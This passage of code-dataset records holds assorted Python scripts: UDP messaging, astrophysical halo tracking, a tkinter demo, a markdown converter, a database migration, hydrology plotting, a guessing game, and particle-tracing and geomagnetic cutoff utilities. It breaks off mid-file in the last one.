+{"seq_id":"228087250","text":"# !python3\n#\n\n# Source: https://wiki.python.org/moin/UdpCommunication\n#\n\n# This code sends a message to another script running at the UDP_IP destination\n# the script receive_udp.py\n#\n\nimport socket\n\n# Setup connection to other Pi\n# Prompt for IP. Default localhost if null input\n#\nUDP_IP = input(\"Enter the IP of the client machine you will be communicating with. (Default: '127.0.0.1')>> \") or '127.0.0.1'\n\n# Prompt for PORT. Default 65104 if null input\n#\nwhile True: \n    try:\n        UDP_PORT = int(input(\"Enter the PORT you will be communicating over. (Default. 65104)>> \") or '65104')\n    except ValueError:\n        print(\"You need to type in a valid PORT number!\")\n        continue\n    else:\n        if UDP_PORT in range(65535):\n            break\n        else:\n            print(\"Port must be in range 0-65535!\")\n            continue\n# Bind the socket\n#\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Send over internet using UDP\n\n\n# Run the program forever\nwhile True:\n    # Prompt the user for a keystroke or message to send\n    #\n    MESSAGE = input(\"What would you like to send (keyboard input)>> \")\n    \n    # Let the user know what IP and Port we are using to communicate with\n    #\n    print ('Sending message to UDP target: {}:{}' .format(str(UDP_IP), UDP_PORT))\n    \n    # Send the message using the socket opened\n    #\n    sock.sendto(bytes(MESSAGE, 'UTF-8'), (UDP_IP, UDP_PORT))\n    \n    # Confirm with the user the message sent succesfully\n    #\n    print (\"Successfully sent message: {}\" .format(str(MESSAGE)))","sub_path":"python/send_udp.py","file_name":"send_udp.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"259506825","text":"### These functions track distance of distance-analog halos to central halo position at different snapshots. ###\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport sys\nsys.path.append(\"../research2017/ELVIS_HALO_Catalogs/IsolatedCatalogs\")\nsys.path.append(\"../research2017/ELVIS_Main_Branches/IsolatedTrees\")\nimport analogsFunction as log\n\ndef indexDistLogs(system):\n    #Determine rows where distance-analogs occur\n    logs=log.distAnalogsList('../ELVIS_HALO_Catalogs/IsolatedCatalogs/'+system+'.txt') #get list of analogs\n    dataID=np.genfromtxt('../ELVIS_Main_Branches/IsolatedTrees/'+system+'/ID.txt');#get id data of evolutionary track\n    sele=np.in1d(dataID[:,0],logs[:,0]) #intersection of analogs and whole data\n    index=np.where(sele) #create list of rows where analogs occur\n    return index\n\ndef distTrack(dataX,dataY,dataZ,dataScale,n,system):\n    #This function creates an array of the position vs. time of a specific distance-analog (n) in a given system.\n    #Notice you have to load position data first\n    dist0X=dataX[0]#array of the central halo X position at different scale factor\n    dist0Y=dataY[0]#array of the central halo X position at different scale factor\n    dist0Z=dataZ[0]#array of the central halo X position at different scale factor\n    xDistArray=np.multiply((dist0X-dataX[n]),(dist0X-dataX[n])); #x^2=(x1-x2)^2\n    yDistArray=np.multiply((dist0Y-dataY[n]),(dist0Y-dataY[n])); #y^2=(y1-y2)^2\n    zDistArray=np.multiply((dist0Z-dataZ[n]),(dist0Z-dataZ[n])); #z^2=(z1-z2)^2\n    distArray=np.sqrt(xDistArray+yDistArray+zDistArray) #Distance formula dist=sqrt(x^2+y^2+z^2)\n    a=np.vstack((dataScale[n],distArray))\n    return a\n\ndef plotTrack(system):\n    #Creates plot of position vs. time for all distance-analogs in a system.\n    indexList=indexDistLogs(system); #get rows where distance-analogs occur\n    dataX=np.genfromtxt(\"../ELVIS_Main_Branches/IsolatedTrees/\"+system+\"/X.txt\");#get data of X position\n    dataY=np.genfromtxt(\"../ELVIS_Main_Branches/IsolatedTrees/\"+system+\"/Y.txt\");#get data of Y position\n    dataZ=np.genfromtxt(\"../ELVIS_Main_Branches/IsolatedTrees/\"+system+\"/Z.txt\");#get data of Z position\n    dataScale=np.genfromtxt(\"../ELVIS_Main_Branches/IsolatedTrees/\"+system+\"/scale.txt\"); #get data of scale factor\n    fig1=plt.figure();\n    axes=plt.gca()\n    for i in indexList[0][:]:\n        array=distTrack(dataX,dataY,dataZ,dataScale,i,system)\n        axes.plot(array[0],array[1],'.')\n    axes.set_title(\"Distance tracking for\"+\" \"+system+\" \"+\"distance-analogs\");\n    axes.set_xlabel(\"Scale Factor\");\n    axes.set_ylabel(\"Distance (Mpc)\");   \n    axes.set_ylim([0,4]); \n    plt.show()\n    \ndef main():\n    indexDistLogs()\n    distTrack()\n    plotTrack()\n    pass\n\nif __name__ == '__main__':\n    main()","sub_path":"simulations/PositionTracking.py","file_name":"PositionTracking.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"617408782","text":"import tkinter\r\n\r\ndef say():\r\n    print(\"你好！\")\r\n#创建主窗口\r\nwin = tkinter.Tk()\r\n#设置标题\r\nwin.title(\"QQ\")\r\n#设置大小和位置\r\nwin.geometry(\"494x470+200+0\")\r\n\r\n#进入消息循环\r\n#创建按钮\r\n#win：父窗体 text显示的文本内容 command:执行的操作（lambda匿名函数，win.quit退出）\r\nbutton = tkinter.Button(win,text = \"按钮\",command=say,width = 10,height = 10)\r\nbutton2 = tkinter.Button(win,text = \"按钮1\",command=win.quit)\r\n#显示出来\r\nbutton.pack()\r\nbutton2.pack()\r\nwin.mainloop()","sub_path":"untitled/tkinter_/3.button控件.py","file_name":"3.button控件.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"375270678","text":"import argparse\r\nimport os\r\nimport re\r\nfrom md_to_html import convert, addTemplate\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('-i', '--input-directory',\r\n                    help='Chemin du dossier contenant les fichiers markdown (.md)')\r\nparser.add_argument('-o', '--output-directory',\r\n                    help=\"Chemin du dossier où seront mis les fichier générés pour le site statique (Si le dossier n'existe pas il sera généré automatiquement)\\nPar défaut le dossier et celui ou se trouve le fichier markdown\")\r\nparser.add_argument('-t', '--template-directory',\r\n                    help='Dossier contenant un template (fichier CSS)')\r\nparser.add_argument('-v', '--version', action='version',\r\n                    version='%(prog)s 1.0')\r\nargs = parser.parse_args()\r\n\r\n\r\npath = os.getcwd()\r\noutput = path\r\ntemplate = path\r\n\r\n# If the option -o is use : Add the path given to the output path\r\nif args.output_directory:\r\n    output = output + \"\\\\\" + args.output_directory\r\n\r\n# If the option -t is use : Add the path given to the template path\r\n# Then copy the file in output directory\r\nif args.template_directory:\r\n    template = template + '\\\\' + args.template_directory\r\n    addTemplate(template, output)\r\nelse:\r\n    template = None\r\n\r\n# If the option -i is use : Add the path given to the input path\r\nif args.input_directory:\r\n    path = path + \"\\\\\" + args.input_directory\r\n\r\n    # If output directory doesn't exist --> Create It\r\nif not os.path.exists(output):\r\n    os.makedirs(output)\r\n    print('The directory {} has been created.'.format(args.output_directory))\r\n\r\n# If Imput path wrong, return error\r\ntry:\r\n    file = os.listdir(path)\r\n    for filename in file:\r\n        if len(re.findall(r'.*\\.md', filename)) > 0:\r\n            convert(path, filename, output)\r\nexcept:\r\n    print(\"The directory '{}' doesn't exist.\".format(args.input_directory))\r\n","sub_path":"mdtohtml.py","file_name":"mdtohtml.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"54204454","text":"\"\"\"empty message\n\nRevision ID: 77e3a32872ee\nRevises: be2f23cf3a6d\nCreate Date: 2018-05-16 14:06:12.931143\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '77e3a32872ee'\ndown_revision = 'be2f23cf3a6d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('merging',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('created_at', sa.DateTime(), server_default=sa.text('NOW()'), nullable=True),\n    sa.Column('updated_at', sa.DateTime(), nullable=True),\n    sa.Column('left_node_id', sa.Integer(), nullable=True),\n    sa.Column('right_node_id', sa.Integer(), nullable=True),\n    sa.Column('merged', sa.Boolean(), nullable=True),\n    sa.ForeignKeyConstraint(['left_node_id'], ['node.id'], ),\n    sa.ForeignKeyConstraint(['right_node_id'], ['node.id'], ),\n    sa.PrimaryKeyConstraint('id')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('merging')\n    # ### end Alembic commands ###\n","sub_path":"fantom_util/fantom_util/database/alembic/versions/77e3a32872ee_.py","file_name":"77e3a32872ee_.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"110018862","text":"#!/usr/bin/env python\n\"\"\"\nPlot water table as a function of time.\n\nThis is currently only useful on a single, 1D column.\n\"\"\"\n\nimport h5py\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib.cm\nimport parse_ats, transect_data, column_data\n    \n\ndef water_table_no_surface(dirname, datum=None, patm=101325.):\n    # get the columnar pressure\n    col_dat = column_data.column_data(['pressure',], directory=dirname)\n    wt = np.zeros((col_dat.shape[1],),'d')\n    if datum is None:\n        datum = column_data[0,0,-1]\n    \n    for k in range(col_dat.shape[1]):\n        if col_dat[1,k,-1] > patm:\n            wt[k] = (col_dat[1,k,-1]-patm) / 1000. / 9.81 - datum  # hydrostatic above\n        else:\n            wt_index = np.where(col_dat[1,k,:] >= patm)[0]\n            if len(wt_index) is 0:\n                wt_index = 0\n            else:\n                wt_index = wt_index[-1]\n            wt[k] = col_dat[0,k,wt_index] - datum\n    return times, wt\n\n\n\ndef water_table(dirname, datum=None, v86=False, patm=101325.):\n    prefix = \"\" if v86 else \"surface-\"\n\n    # get the ponded depth\n    keys,times,dats = parse_ats.readATS(dirname, \"visdump_surface_data.h5\")\n    pd = parse_ats.get2DSurfaceData(keys, dats, prefix+\"ponded_depth\")\n\n    center = len(dats[prefix+\"elevation.cell.0\"][keys[0]])\n    print ('Center location: ', center)\n    \n    elev_surf = dats[prefix+\"elevation.cell.0\"][keys[0]][center-1]\n    dats.close()\n    print ('Datum (surface elevation)', elev_surf)\n    if datum is None:\n        datum = elev_surf\n    datum_offset = elev_surf - datum\n\n    # get the columnar pressure\n    wt = np.zeros((len(keys),),'d')\n    wt_ss = np.zeros((len(keys),),'d')\n    wt_surf = np.zeros((len(keys),),'d')\n    thaw_depth = np.zeros((len(keys),),'d')\n    wt_bottom = np.zeros((len(keys),),'d')\n    \n    col_dat = transect_data.transect_data(['pressure', 'temperature'], directory=dirname)\n        \n    vars = 2\n    nvar, cycles, xnum, znum = col_dat.shape\n    for k in range(col_dat.shape[1]):\n\n        if pd[k, xnum-1] > 0:\n            wt[k] = pd[k, xnum-1] + datum_offset\n            wt_surf[k] = pd[k, xnum-1] + datum_offset\n        else:\n            wt_index = np.where(col_dat[vars ,k,xnum-1, :] >= patm)[0] #var 1\n            \n            temp_index = np.where(col_dat[vars+1 ,k,xnum-1, :] >= 273.25)[0] ##\n            temp_data = col_dat[vars + 1,k,xnum-1, :] #var 2\n\n            wt_index0 = wt_index\n            \n            if len(wt_index) is 0:\n                wt_index = 0\n                wt_index0 = 0\n            else:\n                wt_index = wt_index[-1]\n\n            if (len(wt_index0) > 2):\n                wt_index0 = wt_index0[-2]\n                \n            if (len(temp_index) is 0):\n                temp_index =0\n            else:\n                temp_index = temp_index[0]\n            \n            if (temp_data[wt_index] > 273.25):\n                wt[k] = col_dat[1,k,xnum-1, wt_index] - datum\n            else:\n                wt_ss[k] = col_dat[1,k,xnum-1, temp_index] - datum\n\n                \n        temp_index = np.where(col_dat[vars+1 ,k,xnum-1, :] >= 273.25)[0] ##\n\n        if len(temp_index) > 0:\n            thaw_depth[k] = col_dat[1,k,xnum-1, temp_index[0]] - datum\n        \n    return times, wt, wt_ss, wt_bottom, thaw_depth\n\n\ndef water_table2D(dirname, datum=None, location='center', v86=False, patm=101325.):\n    prefix = \"\" if v86 else \"surface-\"\n\n    # get the ponded depth\n    keys,times,dats = parse_ats.readATS(dirname, \"visdump_surface_data.h5\")\n    pd = parse_ats.get2DSurfaceData(keys, dats, prefix+\"ponded_depth\")\n\n    if location == 'center':\n        center = len(dats[prefix+\"elevation.cell.0\"][keys[0]])\n    elif location == 'trough':\n        center = 1\n        \n    print ('Location: ', location, center)\n    \n    elev_cell = dats[prefix+\"elevation.cell.0\"][keys[0]][center-1]\n    dats.close()\n    print ('Datum (surface elevation)', elev_cell)\n    if datum is None:\n        datum = elev_cell\n    datum_offset = elev_cell - datum\n\n    # get the columnar pressure\n    water_table = np.zeros((len(keys),),'d')\n    thaw_depth = np.zeros((len(keys),),'d')\n\n    \n    col_dat = transect_data.transect_data(['pressure', 'temperature'], directory=dirname)\n        \n    vars = 2\n    nvar, cycles, xnum, znum = col_dat.shape\n    #print xnum\n    xnum = center\n    #print xnum\n    for k in range(col_dat.shape[1]):\n\n        if pd[k, xnum-1] > 0:\n            water_table[k] = pd[k, xnum-1] + datum_offset\n            #wt_surf[k] = pd[k, xnum-1] + datum_offset\n            #print 'surface:: ',k, pd[k, xnum-1]\n        else:\n            #print 'subsurface: ', k, pd[k, xnum-1]\n            wt_index = np.where(col_dat[vars ,k,xnum-1, :] >= patm)[0] #var 1\n            \n            temp_index = np.where(col_dat[vars+1 ,k,xnum-1, :] >= 273.25)[0] ##\n            temp_data = col_dat[vars + 1,k,xnum-1, :] #var 2\n\n            if len(wt_index) is 0:\n                wt_index = 0\n            else:\n                wt_index = wt_index[-1]\n\n            if (len(temp_index) is 0):\n                temp_index =0\n            else:\n                temp_index = temp_index[0]\n            \n            if (temp_data[wt_index] > 273.25):\n                water_table[k] = col_dat[1,k,xnum-1, wt_index] - datum\n                \n        temp_index = np.where(col_dat[vars+1 ,k,xnum-1, :] >= 273.2)[0] ##\n        #print col_dat[vars+1 ,k,xnum-1, :], round(times[k]*365.25,2), k\n        if len(temp_index) > 0:\n            #print 'ALT: ', len(temp_index), temp_index[0], col_dat[vars+1 ,k,xnum-1, temp_index[0]]\n\n            thaw_depth[k] = col_dat[1,k,xnum-1, temp_index[0]] - datum\n        \n    return times, water_table, thaw_depth, elev_cell\n\ndef plot_water_table(times, wt, ax, **kwargs):\n    ax.plot(times, wt, **kwargs)\n\ndef get_axs():\n    f,axs = plt.subplots(1,1)\n    return f,axs\n        \nif __name__ == \"__main__\":\n    import sys\n\n    import argparse\n    import colors\n    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument(\"INPUT_DIRECTORIES\", nargs=\"+\", type=str,\n                        help=\"List of directories to plot.\")\n    parser.add_argument(\"--colors\", \"-c\", type=colors.float_list_type,\n                        default=None,\n                        help=\"List of color indices to use, of the form: --colors=[0,0.1,1], where the doubles are in the range (0,1) and are mapped to a color using the colormap.\")\n    parser.add_argument(\"--colormap\", \"-m\", type=str,\n                        default=\"jet\",\n                        help=\"Colormap used to pick a color.\")\n    args = parser.parse_args()\n\n    cm = colors.cm_mapper(0,1,args.colormap)\n    fig, axs = get_axs()\n\n    fnames = args.INPUT_DIRECTORIES\n    for i,fname in enumerate(fnames):\n        if args.colors is None:\n            if len(fnames) > 1:\n                c = cm(float(i)/(len(fnames)-1))\n            else:\n                c = 'b'\n        else:\n            if type(args.colors[i]) is float:\n                c = cm(args.colors[i])\n            else:\n                c = args.colors[i]\n\n        times,wt = water_table(fname)\n        plot_water_table(times, wt, axs, color=c, label=fname)\n\n    plt.tight_layout()\n    axs.legend()\n    plt.show()\n","sub_path":"mix/plot_water_table2D_orig.py","file_name":"plot_water_table2D_orig.py","file_ext":"py","file_size_in_byte":7240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"261351778","text":"# guess the word\n# count the number of guess, once over three times, the game over\n\nsecret_word = 'Ray'\nguess = ''\ncount = 0\ngameison = True\n\nwhile guess != secret_word and gameison:\n    guess = input('re-input the word: ',)\n    count = count + 1\n    if count >= 3:\n        print('game over')\n        gameison = not(gameison)\n\nif guess == secret_word:\n    print('you win')\n\n# while-while loop\ni = 0\nwhile i < 10:\n\tj = 1 # otherwise the code cannot be implemented since the j = 11\n\twhile j < 11:\n\t \tprint(i, j)\n\t \tj+=1\n\ti+=1","sub_path":"loop/while_loop.py","file_name":"while_loop.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"296665135","text":"\"\"\"\nThis file contains routines used to read in data from the SHIELDS-PTM particle tracing\nsimulation as well as to calculate quantities based on the particle data.\n\nAuthors: Jesse Woodroffe, Steven Morley\n\"\"\"\n\nimport os\nfrom abc import ABC, abstractmethod\nfrom contextlib import contextmanager\nimport numpy as np\nfrom scipy import constants\nfrom scipy import special\n\n\nckm = constants.speed_of_light/1e3\nre_cm = 6371.0008*1e5  # Volumetric Earth radius in cm\n\n\nclass newDict(dict):\n    def __init__(self, *args, **kwargs):\n        self.attrs = dict()\n        if 'attrs' in kwargs:\n            if hasattr(kwargs['attrs'], '__getitem__'):\n                self.attrs = kwargs['attrs']\n            del kwargs['attrs']\n        super(newDict, self).__init__(*args, **kwargs)\n\n\nclass Particle(ABC):\n    \"\"\"Generic particle container\n\n    Subclass to make proton, etc.\n    \"\"\"\n    @abstractmethod\n    def __init__(self):\n        self._checkvalues()\n\n    def _checkvalues(self):\n        assert self.energy\n        assert self.charge\n        assert self.restmass\n        assert self.mass\n\n    def getRigidity(self, units='GV'):\n        \"\"\"Calculate rigidity in GV\n\n        Energy & rest mass energy are in MeV\n        Mass is in atomic mass number\n        Charge is in units of elementary charge (proton is 1, electron is -1)\n        \"\"\"\n        mcratio = self.mass/self.charge\n        en_part = self.energy**2 + 2*self.energy*self.restmass\n        rigidity_MV = mcratio * np.sqrt(en_part)\n        if units.upper() == 'GV':\n            rigidity = rigidity_MV/1e3\n        else:\n            raise NotImplementedError('Units other than GV for rigidity are not supported')\n        return rigidity\n\n    @classmethod\n    def fromRigidity(cls, rigidity_GV):\n        \"\"\"Given rigidity in GV, make particle\n        \"\"\"\n        rmv = rigidity_GV*1e3\n        asq = cls.mass**2\n        rmsq = cls.restmass**2\n        csq = cls.charge**2\n        part = asq*(asq*rmsq + csq*rmv**2)\n        e_k = (np.sqrt(part) - asq*cls.restmass)/asq\n        return cls(e_k)\n\n\nclass Proton(Particle):\n    charge = 1\n    mass, _, _ = constants.physical_constants['proton mass in u']  # AMU\n    restmass, _, _ = constants.physical_constants['proton mass energy equivalent in MeV']\n\n    def __init__(self, energy):\n        self.energy = energy\n        super().__init__()\n\n\nclass StormerCutoff():\n    def __init__(self, cd_moment=29950.126):\n        \"\"\"\n        Parameters\n        ==========\n        cd_moment : float\n            Centered dipole moment of epoch in nT. Can, for example, be obtained\n            from spacepy.igrf (after instantiation, the value is in the moment\n            attribute). Default is the dipole moment for the 2010 epoch.\n\n        References\n        ==========\n        - Stormer, C. The Polar Aurora. Clarendon Press, Oxford, 1955.\n        - Smart, D. F. and Shea, M. A., “The Change in Geomagnetic Cutoffs Due to\n          Changes in the Dipole Equivalent of the Earth's Magnetic Field”, in\n          23rd International Cosmic Ray Conference (ICRC23), Volume 3, 1993, p. 781.\n        \"\"\"\n        self.set_coefficient(cd_moment)\n\n    def set_coefficient(self, cd_moment):\n        \"\"\"Set rigidity coefficient as dipole moment in mixed units\n\n        See section 2 of Smart and Shea (1993).\n\n        References\n        ==========\n        - Smart, D. F. and Shea, M. A., “The Change in Geomagnetic Cutoffs Due to\n          Changes in the Dipole Equivalent of the Earth's Magnetic Field”, in\n          23rd International Cosmic Ray Conference (ICRC23), Volume 3, 1993, p. 781.\n        \"\"\"\n        mom_gauss_cm3 = (cd_moment/1e5)*re_cm**3\n        gauss_cm = mom_gauss_cm3/re_cm**2\n        # Now apply unit conversion, eV to Gev and volts to abvolts\n        coeff = 300*gauss_cm/1e9\n        self.moment_mixunits = coeff  # dipole moment in mixed units\n        self.coeff_v = coeff/4  # vertical reduction\n\n    def cutoff_at_L(self, l_value, zenith, azimuth, as_energy=False, particle=Proton):\n        \"\"\"\n        Parameters\n        ==========\n        l_value : float or array of floats\n            L at which to evaulate the cutoff\n        zenith : float or array of floats\n            Angle from the zenith (i.e., from radially outward) [degrees]\n        azimuth : float or array of floats\n            Azimuth angle [degrees]. Positive clockwise with zero in the direction of\n            the dipole axis (north). Arrival from East = 90; from West = 270.\n        as_energy : bool\n            If True, express the cutoff as proton energy in MeV.\n            Default is False, giving the cutoff in GV (rigidity).\n        particle : ptm_tools.Particle\n            Defaults to Proton.\n\n        Returns\n        =======\n        cutoff : float or array of floats\n            Geomagnetic cutoff at given dipole L. Units are in GV,\n            unless \"as_energy\" is True when units are in MeV.\n\n        Example\n        =======\n        >>> sc = StormerCutoff()\n        >>> # zenith angle = 90 so that arrival is perp to zenith\n        >>> c_east = sc.cutoff_at_L(1, 90, 90)  # az. is 90 meaning East\n        >>> c_west = sc.cutoff_at_L(1, 90, 270)  # west\n        >>> print(c_east, c_west)  # in GV\n        57.24368301183024 9.821463284457387\n        \"\"\"\n        sh_zen = np.atleast_1d(zenith).shape\n        sh_azi = np.atleast_1d(azimuth).shape\n        l_vals = np.asarray(l_value)\n        sh_l = np.atleast_1d(l_vals).shape\n        ze_az = np.logical_or(sh_zen == sh_azi, np.logical_and(sh_zen == 1, sh_azi == 1))\n        lv = np.logical_or(sh_l == sh_zen, sh_zen == (1,))\n        allsame = np.logical_and(lv, ze_az)\n        if not allsame:\n            raise ValueError('{} {}'.format(lv, ze_az))\n        lamb = invariant_latitude_from_l(l_vals, degrees=False)\n        epsi = np.deg2rad(zenith)\n        eta = np.deg2rad(azimuth)\n        denom = (1 + np.sqrt(1 - np.sin(epsi) * np.sin(eta) * np.cos(lamb)**3))**2\n        cutoff = self.moment_mixunits/(l_vals**2 * denom)\n        if as_energy:\n            try:\n                return particle.fromRigidity(cutoff).energy\n            except ValueError:\n                e_arr = np.array([particle.fromRigidity(cc).energy for cc in cutoff])\n                return np.squeeze(e_arr)\n        return cutoff\n\n\nclass StormerVertical(StormerCutoff):\n    def cutoff_at_L(self, l_value, as_energy=False, particle=Proton):\n        \"\"\"\n        Parameters\n        ==========\n        l_value : float or array of floats\n            L at which to evaulate the cutoff\n        as_energy : bool\n            If True, express the cutoff as proton energy in MeV.\n            Default is False, giving the cutoff in GV (rigidity).\n        particle : ptm_tools.Particle\n            Defaults to Proton.\n\n        Returns\n        =======\n        cutoff : float or array of floats\n            Geomagnetic cutoff at given dipole L. Units are in GV,\n            unless \"as_energy\" is True when units are in MeV.\n        \"\"\"\n        l_vals = np.asarray(l_value)\n        cutoff = self.coeff_v/l_vals**2\n        if as_energy:\n            try:\n                return particle.fromRigidity(cutoff).energy\n            except ValueError:\n                e_arr = np.array([particle.fromRigidity(cc).energy for cc in cutoff])\n                return np.squeeze(e_arr)\n        return cutoff\n\n\ndef invariant_latitude_from_l(l_value, degrees=True):\n    '''Get invariant latitude from dipole/McIlwain L value\n\n    Parameters\n    ==========\n    l_value : float\n        Dipole (or McIlwain) L value\n    degrees : bool\n        If True (default) return invariant latitude in degrees.\n        Otherwise return in radians.\n\n    Returns\n    =======\n    lati : float\n        Invariant latitude\n    '''\n    radi = 1  # latitude at Earth's surface\n    try:\n        ronl = radi/l_value\n    except TypeError:\n        ronl = radi/np.atleast_1d(l_value)\n    lati = np.arccos(np.sqrt(ronl))\n    if degrees:\n        return np.rad2deg(lati)\n    else:\n        return lati\n\n\ndef l_from_invariant_latitude(lati):\n    '''Get L from the invariant latitude\n\n    Parameters\n    ==========\n    lati : float\n        Invariant latitude [degrees]\n\n    Returns\n    =======\n    l_val : float\n        Dipole/McIlwain L value\n    '''\n    lat_rad = np.deg2rad(lati)\n    l_val = 1/np.cos(lat_rad)**2\n    return l_val\n\n\n@contextmanager\ndef cd(newdir):\n    '''Context-managed chdir; changes back to original directory on exit or failure'''\n    prevdir = os.getcwd()\n    os.chdir(os.path.expanduser(newdir))\n    try:\n        yield\n    finally:\n        os.chdir(prevdir)\n\n\ndef parse_trajectory_file(fname):\n    \"\"\"\n    This routine reads a file of particle trajectory data generated by the ptm simulation.\n    Data from ptm is output in formatted ascii, with the time history of a particle trajectory\n    given by a 8-column array with an unknown number of rows. The data from each particle is\n    separated by a \"#\".\n\n    TIME XPOS YPOS ZPOS VPERP VPARA ENERGY PITCHANGLE\n\n    Results from this routine are returned as a dictionary with the trajectory of each particle\n    stored under a separate integer key (0-based indexing: first particle is 0, second is 1, etc.)\n    \"\"\"\n    with open(fname, 'r') as f:\n        flines = f.readlines()\n    # Scan for number of particles in trajectory file\n    nparts = sum([1 for line in flines if line.strip().startswith('#')])\n    # Make dictionary with metadata describing columns\n    # TODO: put this in a form that can be used for numpy record arrays?\n    dataDict = newDict(attrs={'header': 'TIME XPOS YPOS ZPOS VPERP VPARA ENERGY PITCHANGLE'})\n    for idx, line in enumerate(flines):\n        line = line.strip()\n        if line.startswith('#'):\n            # Starts a particle output section, grab particle ID\n            if idx != 0:\n                dataDict[pnum] = np.array(parr, dtype=np.float)\n            pnum = int(line.split()[1])\n            parr = []\n        else:\n            # Get data associated with particle\n            parr.append(line.split())\n    # put last particle into output dict\n    dataDict[pnum] = np.array(parr, dtype=np.float)\n\n    return dataDict\n\n\ndef parse_map_file(fnames):\n    \"\"\"\n    This is a convenience routine to read in a \"map\" file generated by the PTM simulation.\n    Since the particles aren't output in a logical or predictable manner, this routine also\n    assembles the energy--pitch-angle grids and returns the results in a dictionary. This\n    is all the information that is needed from SHIELDS-PTM to assemble flux maps using the\n    energy_to_flux routine.\n\n    If a list of filenames is passed in, all map files will be assembled as if they had come\n    from the same run. The user should be careful to only combine files when it makes physical\n    sense to do so. As this uses indices of unique energy and pitch angle, only combine runs\n    with unique sets of these values.\n    \"\"\"\n    if isinstance(fnames, str):\n        fnames = [fnames]\n\n    with open(fnames[0]) as fh:\n        header = fh.readline()\n        lines = np.loadtxt(fh)\n    for fname in fnames[1:]:\n        dum = np.loadtxt(fname, skiprows=1)\n        lines = np.vstack((lines, dum))\n\n    pavec = np.sort(np.unique(lines[:, 5]))\n    envec = np.sort(np.unique(lines[:, 4]))\n\n    sourcepos = header.strip().split()[-3:]\n    fluxmap = newDict(attrs={'position': np.array(sourcepos, dtype=np.float)})\n    fluxmap['energies'] = envec\n    fluxmap['angles'] = pavec\n\n    xfinal = np.zeros([envec.size, pavec.size, 3])\n    vinit = np.zeros([envec.size, pavec.size, 3])\n    Einit = np.zeros([envec.size, pavec.size])\n    Efinal = np.zeros_like(Einit)\n\n    # loop over all loaded data\n    for line in lines:\n        idex = np.argwhere(line[4] == envec)[0][0]\n        jdex = np.argwhere(line[5] == pavec)[0][0]\n        Einit[idex, jdex] = line[4]\n        Efinal[idex, jdex] = line[6]\n        xfinal[idex, jdex, :] = line[1:4]\n        vinit[idex, jdex, :] = line[7:10]\n\n    fluxmap['init_E'] = Einit\n    fluxmap['final_E'] = Efinal\n    fluxmap['final_x'] = xfinal\n    fluxmap['init_v'] = vinit\n\n    return fluxmap\n\n\ndef energy_to_flux(ei, ef, ec, n, mc2=511.0, kind='kappa', kap=2.5, energyFlux=False):\n    \"\"\"\n    Given the particle energy, number density of particles, and characteristic energy\n    of the distribution, calculate the differential energy flux in keV-1 cm-2 s-1 sr-1.\n\n    If you are performing backwards tracing from GEO to some point in the tail, Ei is\n    the energy in the tail and Ef is the energy at GEO.\n\n    Parameters\n    ==========\n        Ei : float or array-like\n            Initial energy (energy in source region) in keV\n        Ef : float or array-like\n            Final energy (energy at observation point) in keV\n        Ec : float\n            Characteristic energy of the distribution in keV (analogous to temperature)\n        n : float\n            Density of particles in cm-3\n\n    Other Parameters\n    ================\n        mc2 : float\n            Mass energy of the particle species in keV (default: 511 for electrons)\n        kind : str\n            Type of distribution function to use: 'kappa', kappa distribution in\n            energy; 'maxwell', relativistic Maxwell-Juttner distribution\n        kap : float\n            Power law index for the kappa distribution (default is 2.5)\n        energyFlux : bool\n            Whether or not to calculate energy fluxes (default is False)\n\n    The default value of kappa corresponds to electrons in a fairly strong substorm. For other species and\n    levels of activity, Gabrielse et al. [2014] provided a table of values for kappa, derived from THEMIS\n    observations:\n\n      |AL|    ions    electrons\n      min     5.1     2.7\n      int     4.6     2.7\n      max     4.4     2.5\n\n    Values of n and Ec need to be obtained from some sort of tail plasma model, either kinetic or\n    MHD (in which case Ec~P/rho). It is also important to remember that electron temperature usually\n    differs from ion temperature, up to a factor of 7 different. It is up to the user to make sure\n    that the correct temperature for the desired species is provided.\n\n    See Also\n    ========\n    calculate_flux (method) in ptm_postprocessing\n    \"\"\"\n\n    gami = 1 + ei/mc2\n    gamc = 1 + ec/mc2\n    gamf = 1 + ef/mc2\n    u = ckm*np.sqrt(gami*gami-1.0)/gami\n    w = ckm*np.sqrt(gamc*gamc-1.0)/gamc\n    v = ckm*np.sqrt(gamf*gamf-1.0)/gamf\n\n    if kind.lower() == 'maxwell':\n        # Maxwell-Juttner distribution\n        # TODO: verify and determine why the Bessel fn returns 0 at standard values\n        Q = ec/mc2\n        f0 = n/(4*np.pi*ckm**3*Q*special.kn(2, 1.0/Q))\n        f = f0*np.exp(-gami/Q)\n    elif kind.lower() == 'kappa':\n        # Kappa distribution\n        Wc = ec*(1.0-1.5/kap)\n        f0 = n*(mc2/(ckm*ckm*Wc*2*np.pi*kap))**1.5*(special.gamma(kap+1)/special.gamma(kap-0.5))\n        f = f0*(1+ei/(kap*Wc))**-(kap+1)\n    else:\n        raise Exception('Error 